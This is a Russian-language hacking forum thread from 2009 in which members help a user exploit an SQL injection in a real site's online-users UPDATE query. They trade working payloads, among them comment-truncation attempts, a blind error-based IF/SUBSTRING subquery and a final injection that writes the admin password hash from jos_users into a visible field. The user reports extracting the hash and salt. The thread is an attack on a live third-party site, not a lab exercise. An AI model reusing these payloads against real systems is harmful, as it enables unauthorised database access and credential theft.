Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Комментирование части запроса (SQL-inj) (https://forum.antichat.xyz/showthread.php?t=130926)

Disasm 22.07.2009 22:35

Комментирование части запроса (SQL-inj)
 
Всем доброго дня.

Уважаемые господа, столкнулся с такой проблемой:

Для внедрения SQL инъекции необходимо закомментировать хвост запроса.

Сам запрос в исходнике:
Код:

$sql = "UPDATE table SET time='{$now}', what='{$what}', do= '{$do}', task= '{$task}', link= '{$link}', func= '{$func}'"
. "\n WHERE userid={$my->id} AND userip='{$myip}'";

В SQL-inj комментирую так:
Код:

http://site.com/index.php?func=bla'/*
на что получаю ошибку синтаксиса, не понятно почему...

может это из-за того, что WHERE в запросе идет с новой строки...

Подскажите пожалуйста как корректно закомментировать всё WHERE.

Pashkela 22.07.2009 22:38

Дело не только в коментарии, ошибку, для проведения sql-inj надо не только уметь вызвать, но и нигилировать её последующим корректным запросом, а уж потом комментировать, чтобы анигилировать sql-конструкции, идущие следом

Disasm 22.07.2009 22:46

Цитата:

Сообщение от Pashkela
Дело не только в коментарии, ошибку, для проведения sql-inj надо не только уметь вызвать, но и нигилировать её последующим корректным запросом, а уж потом комментировать, чтобы анигилировать sql-конструкции, идущие следом

Если я не ошибаюсь, конечная структура запроса у меня получается синтаксически верная.
Это конечно при условии, что MySQL не требует строго обособления многострочного комментария с обеих сторон.

Т.е. я расчитывал на то, что открывающего указателя многострочного комментария /* будет достаточно для построения синтаксически верного запроса, но что-то чувствую, что MySQL ругается именно на отсутствие закрытия комментария */

xa-xa89 22.07.2009 22:56

вопрос: вы пытаетесь внедрить SQL-код обьединив запросы UPDATE & SELECT или через подзапрос?
покажите как вы делаете тогда станет ясней...

Disasm 22.07.2009 23:03

Цитата:

вопрос: вы пытаетесь внедрить SQL-код обьединив запросы UPDATE & SELECT или через подзапрос?
покажите как вы делаете тогда станет ясней...
для начала просто заккоментировать, а делее через UNION еще раз UPDATE

Цитата:

Приведи сообщение об ошибке
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*' WHERE userid=0 AND userip='255.255.255.255'' at line 2 SQL=UPDATE table SET time='1248287457', what='main', do= '', task= '', link= '/index.php?func=bla%27/*', func= 'bla'/*' WHERE userid=0 AND userip='255.255.255.255'

xa-xa89 22.07.2009 23:24

Цитата:

Символы одинарной и двойной кавычек, даже внутри комментария, считаются началом заключенной в кавычки строки. Если внутри комментария не встречается вторая такая же кавычка, синтаксический анализатор не считает комментарий законченным. При работе с mysql в интерактивном режиме эта ошибка проявится в том, что окно запроса изменит свое состояние с mysql> на '> или ">.
http://phpclub.ru/mysql/doc/comments.html

Пища для мозгов)

Код:

http://site.com/index.php?func=bla'/*'
может вот так сработает!

Disasm 22.07.2009 23:29

xa-xa89 спасибо! Теперь ясно почему ругается.
Подскажите, как же мне тогда верно отрезать WHERE?

Disasm 22.07.2009 23:31

Цитата:

Код:

http://site.com/index.php?func=bla'/*'
может вот так сработает!
не работает =(

xa-xa89 22.07.2009 23:33

Приводи сразу что пишет!я ж не телепат!

Disasm 22.07.2009 23:36

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*'' WHERE userid=0 AND userip='255.255.255.255'' at line 2 SQL=UPDATE table SET time='1248287457', what='main', do= '', task= '', link= '/index.php?func=%27/*%27', func= 'bla'/*'' WHERE userid=0 AND userip='255.255.255.255'

Disasm 23.07.2009 00:02

Цитата:

Сообщение от FireFenix
http://site.com/index.php?func=bla'+--+

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '255.255.255.255'' at line 1 SQL=UPDATE table SET time='1248292780', what='main', do= '', task= '', link= '/index.php?func=bla%27+--+', func= 'bla' --' WHERE userid=0 AND userip='255.255.255.255'

xa-xa89 23.07.2009 00:15

Цитата:

Сообщение от Disasm
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '255.255.255.255'' at line 1 SQL=UPDATE table SET time='1248292780', what='main', do= '', task= '', link= '/index.php?func=bla%27+--+', func= 'bla' --' WHERE userid=0 AND userip='255.255.255.255'

Вот в этом должен быть еще пробел после --
может
Код:

http://site.com/index.php?func=bla'+--[тут пробел]

Disasm 23.07.2009 00:20

Цитата:

Сообщение от xa-xa89
Вот в этом должен быть еще пробел после --
может
Код:

http://site.com/index.php?func=bla'+--[тут пробел]

тоже самое
обратите особое внимание, что WHERE в запросе идет с новой строки, поэтому строчный комментарий не катит

Pashkela 23.07.2009 00:23

заманали уже со своим бредом, ссылку в студию

xa-xa89 23.07.2009 00:36

Ну ради експеримента, раз у тебя есть доступ к сорцам
возьми убери символ перевода строки и попробуй....
будем хоть точно знать в чем проблема!

Disasm 23.07.2009 09:46

Pashkela взглянул на ссылку и сказал, что инъекцию произвести нельзя, поскольку невозможно повлиять на исходный запрос и что это вовсе не SQL-inj, а просто ошибка запроса, хотя мне так не кажется...

Пробую дописать в UPDATE не существующее поле:
http://site.com/index.php?func=who',user1='user
на что получаю соответствующую ошибку, что поле не существует.

меняю имя поля на существующее:
http://site.com/index.php?func=who',user='user
и всё ок, запрос успешно выполнен, ошибок нет.

Проблема осталась, мне надо закомментировать условие WHERE, либо каким-нибудь образом выполнить SELECT или дополнительный UPDATE.

Pashkela 23.07.2009 11:08

1. Он не пишет "всё ок, запрос успешно выполнен" - зачем ты врешь?
2. Где ты там вообще where увидел??? Там идет

insert into lalala (`a`,`b`,`c`) VALUES ('1','who','3');

3. Ставя кавычку в значение GET-переменной func ты вызываешь ошибку sql-запроса, это есс-но, так запрос превращается в такой:

insert into lalala (`a`,`b`,`c`) VALUES ('1','who'','3');

т.е. чисто ошибка синтаксиса sql-запроса, и, при постановке твой конструкции

who',user1='user

запрос превращается в такой:

insert into lalala (`a`,`b`,`c`) VALUES ('1','who', user1='user','3');

и при подстановке

who',user='user

просходит тоже самое

что сразу вызывает уже не синтаксическую ошибку (т.е. с кавычками ты рахобрался), а нарушения между кол-вом вставляемых значений и кол-вом колонок, куда эти значения вставляются, т.к. ты вот таким диким способом сделал уже 4 параметра во вторых скобочках вместо положенных трёх (в данном примере, в реале их там просто побольше) - т.е. уж логическая ошибка, о чем оно тебе там и пишет:

Column count doesn't match value count at row 1

В таких условиях, при таком sql-запросе

insert into lalala (`a`,`b`,`c`) VALUES ('1','who', '3');

и уязвимом параметре 'who' скуля невозможна, отсекать тут нечего, при любом отсечении будет нарушение логики sql-запроса, единственное, что ты можешь сделать, это вставить своё значение в колонку `b` вместо 'who', но это ничего не даст в итоге, т.к. в реале это идет просто сохранение линка, где сейчас чел находится, т.е. просто статистика, + там magic_qutes=on

Disasm 23.07.2009 11:23

Цитата:

Сообщение от Pashkela
1. Он не пишет "всё ок, запрос успешно выполнен" - зачем ты врешь?
2. Где ты там вообще where увидел??? Там идет

insert into lalala (`a`,`b`,`c`) VALUES ('1','who','3');

Смотрите внимательнее, INSERT идет только тогда, когда для текущего посетителя сессия еще не открыта (точнее не сессия, а запись в БД о текущем местонахождении)
Просто обновите страницу и получите UPDATE с WHERE

И при update - http://site.com/forum.html?func=who%27,user=%27user
ошибок нет, т.е. запрос успешно выполняется

xa-xa89 23.07.2009 12:03

Цитата:

там magic_qutes=on
Цитата:

И при update - http://site.com/forum.html?func=who%27,user=%27user
ошибок нет, т.е. запрос успешно выполняется
как такое может получиться?

Disasm 23.07.2009 21:10

Неужели никто не может дать совет по сабжу?

xa-xa89 24.07.2009 02:23

Код:

/forum.html?func=who'%20--%20a
вот так все норм ошибки не выдает при UPDATE запросе....

Disasm 24.07.2009 09:27

Цитата:

Сообщение от xa-xa89
Код:

/forum.html?func=who'%20--%20a
вот так все норм ошибки не выдает при UPDATE запросе....

Не катит.

В запросе у нас WHERE идет с новой строки, а в данном случае комментируется текущая строка, поэтому и ошибок не выдает.

Можем даже проверить:
Код:

/forum.html?func=who'+where+1=1+--+a
на что получаем ошибку синтаксиса и очевидно, что основной WHERE у нас не закомментировался.

Jokester 24.07.2009 20:43

Disasm
У Вас скорее всего версия Mysql >=5.0.51, она требует закрытия комментария "/*", отсюда и ошибка синтаксиса:
Цитата:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*'
а однострочный, как вы сами заметили не будет работать

Попробуйте сконцентрировать своё внимание на первом запросе в инсерте. Если там таких проблем нет. то возможно удастся провести more than 1 row вот материал:
http://forum.antichat.ru/threadnav35207-1-10.html

И кстати.
Цитата:

Сообщение от Disasm
а делее через UNION еще раз UPDATE

Ээээ?

Disasm 24.07.2009 21:49

Цитата:

Сообщение от jokester
Попробуйте сконцентрировать своё внимание на первом запросе в инсерте. Если там таких проблем нет. то возможно удастся провести more than 1 row вот материал:
http://forum.antichat.ru/threadnav35207-1-10.html

Большое спасибо! Действительно интересный материал, но опять же, чтоб спровоцировать more than 1 row мне необходимо закомментировать хвост. А это, как вы уточнили, в Mysql 5.0.51 и выше, реализовать не удастся.

jokester
Если у вас есть еще какие-нибудь соображения, то поделитесь, если не затруднит.

PaCo 24.07.2009 22:18

Насколько я понимаю запрос имеет такую форму:
Цитата:

$sql = "UPDATE table SET time='{$now}', what='{$what}', do= '{$do}', task= '{$task}', link= '{$link}', func= '{$func}'"
. " WHERE userid={$my->id} AND userip='{$myip}'";
где уязвимый параметр func, и судя по error на сингл комент /* у нас 5, и для more than 1 row вам не обязательно необходимо коментить оставшуюся часть запроса т.к. в 5 давно есть сабгвери, следовательно
$func = 1%27 or 1=IF(SUBSTRING((SELECT version()),1,1)=4,0,(select 1 union select 5))

"UPDATE table SET time='{$now}',
what='{$what}',
do= '{$do}',
task= '{$task}',
link= '{$link}',
func= '{$func}'"
WHERE
userid={$my->id} AND userip='{$myip}'";

Jokester 24.07.2009 22:21

Цитата:

Сообщение от Disasm
jokester
Если у вас есть еще какие-нибудь соображения, то поделитесь, если не затруднит.

Я-же написал, моё мнение нужно смотреть запрос с INSERT о котором вы пишите тут:
Цитата:

Сообщение от Disasm
INSERT идет только тогда, когда для текущего посетителя сессия еще не открыта (точнее не сессия, а запись в БД о текущем местонахождении)

Если там тоже скуль, то возможно она не такая замороченная.
Ну или пробовать составить запрос без комментария, учитывая его весь, вставляя конструкции вроде "and if(1=1,1,2)" или подзапросы. Но это уже СООБРАЖЕНИЯ, тоесть просто первое, что приходит в голову, нужно тестить и лучше на локалке, конечно.

2 PaCo
Там видишь ещё какое г.
Цитата:

WHERE userid=0 AND userip='255.255.255.255'' at line 2 SQL=UPDATE table SET time='1248287457', what='main', do= '', task= '', link= '/index.php?func=bla%27/*', func= 'bla'/*' WHERE userid=0 AND userip='255.255.255.255'
Надо учитывать

PaCo 24.07.2009 22:31

Цитата:

Сообщение от jokester
Я-же написал, моё мнение нужно смотреть запрос с INSERT о котором вы пишите тут:

Если там тоже скуль, то возможно она не такая замороченная.
Ну или пробовать составить запрос без комментария, учитывая его весь, вставляя конструкции вроде "and if(1=1,1,2)" или подзапросы. Но это уже СООБРАЖЕНИЯ, тоесть просто первое, что приходит в голову, нужно тестить и лучше на локалке, конечно.

2 PaCo
Там видишь ещё какое г.

Надо учитывать

Вижу вот это
link= '/index.php?func=bla%27/*', func= 'bla'/*' я ж не случайно написал %27, даже если бы кавычка оставалась как есть можно и /**/ закоментить что нам не нравиться если имеем 2 уязвимых параметра, только надо подумать как :D.

З.Ы. jokester согласен тестить нужно а так это гадания на картах.
А что этот топ здесь делает? По моему это далеко не кодинг.
ЗЫ про оставшуюся та ковычку я и забыл :)

Вообшем ТС вот тебе для блинд запрос по тому адресу что ты мне в пм отослал(пробелы поуберай):

Цитата:


http://**********.ru/*****.html?func=who%27%20or%201=IF(SUBSTRING((SELE CT%20version()),1,1)%3E5,0,(select%201%20union%20s elect%205))%20and%201=%271%20
сама сабгверя SELECT%20version() ну и т.д., версия 5, значит есть INFORMATION.SCHEMA вопрос что в ней есть - ну это уже сам смотри.

Disasm 24.07.2009 23:15

Пытаюсь выполнить запрос:
/forum.html?func=who'+or+1=IF(SUBSTRING((SELECT+ver sion()),1,1)=4,0,(select password from users where id=1))+--+a

Запрос действительно выполняется, ошибок в ответку нет.
Меняю имя поля на не существующее и в ответ получаю соответствующую ошибку - значит выборка прошла успешно.

Уважаемые Гуру, я одного не могу понять, как мне это может помочь в получении значения определенной записи?

PaCo 24.07.2009 23:43

2Disasm - блайнд там выполним, пример запроса тебе показали так что стоит немного почитать линки которые тебе дали, никто тебе не будет описывать все до мелочей, сам запрос которых ты хочешь зделать нужно писать в условии IF а не в варинтах при выполнении/не выполнении условия в IF:
IF(ЗДЕСЬ_УСЛОВИЯ_СЧИТАЙ_САБ_ ВЕРЯ_И_ПРОВЕРКА_ЕЕ_РЕЗУЛЬТ ТОВ,0,ЗДЕСЬ_ТО_ЧТО_БУДЕТ_ВЫЗ ЫВАТЬ_ОШИБКУ_ПРИ_НЕ_ВЫПОЛНЕ НИИ_УСЛОВИЯ)

Disasm 25.07.2009 00:04

Подскажите, я мыслю в правильном направлении:
Как я понял с помощью этого запроса я могу выполнить только посимвольный брут значения определенного поля?
Значение целиком я получить никак не смогу?

PaCo 25.07.2009 00:12

Цитата:

Сообщение от Disasm
Подскажите, я мыслю в правильном направлении:
Как я понял с помощью этого запроса я могу выполнить только посимвольный брут значения определенного поля?
Значение целиком я получить никак не смогу?

Да ты правильно мыслишь если только у тебя нет возможности посмотреть те значения которые ты UPDATE или INSERT в таблицу посредством сабгвери их занести а потом прочитать, там я не увидел такой возможности - скорее всего стата доступна только админу, значит только посимвольный перебор, можешь поискать еще что нибудь с выводом значений не исключенно что есть.

Disasm 25.07.2009 15:59

UPDATE или INSERT нельзя выполнить через сабквери?
Пытаюсь выполнить - в ответ ошибка синтаксиса

xa-xa89 26.07.2009 03:48

Ребята, все гораздо проще....
без всяких блинд SQL-inj

Так вот...
Делаем сначала вот так
/f****.html?func=who',%20userid=123,%20link=(SELECT %20jos_users.password%20FROM%20jos_users%20WHERE%2 0jos_users.id=123)%20--%20a

в результате при обновлении таблицы jos_whois_online мы перезаписываем поля userid и link...
Если посмотреть внимательно то поле link в исходном запросе имело вид
Цитата:

link= '{$link}'
Где $link было то что у нас в адресной строке браузера!
Но наше новое поле дальше(после старого) по сему оно главней=)
в итоге мы имеем такой как нам надо перезаписаный идентификатор+ссылку....

Далее мы заходим на
/f****.html?func=who
и видим что онлайн появился новый юзер....
наводим на него мышку и видим что его АйДи равен тому что мы перезаписали.
Вот чудо))
Далее смотрим где ж это чудо находится?
и видим что вместо ссылки у нас хеш его пароля
Вуаля!

и не стоит мучать сервак слепой SQL-inj

Оффтоп
Цитата:

$func = 1%27 or 1=IF(SUBSTRING((SELECT version()),1,1)=4,0,(select 1 union select 5))
or and etc... имеет смысл использовать только в WHERE части запроса
или я не прав?

Disasm 26.07.2009 10:25

xa-xa89
Отличное решение!
А я блин заморочился, написал брут и посимвольно сбрутил хеш:соль
Вот, что значит дурная голова не дает покоя рукам =)

Disasm 26.07.2009 10:49

Хочу выразить огромную благодарность: xa-xa89, PaCo, jokester за то, что нашли время проникнуться вопросом и дать действительно стоящие рекомендации.
Желаемый результат получен. За эти несколько дней понял, что вообще ничего не знаю о SQL запросах, но при этом перелопатил кучу документации и сейчас накопил некоторый багаж полезных знаний.

Еще раз всем большое спасибо!


Время: 02:06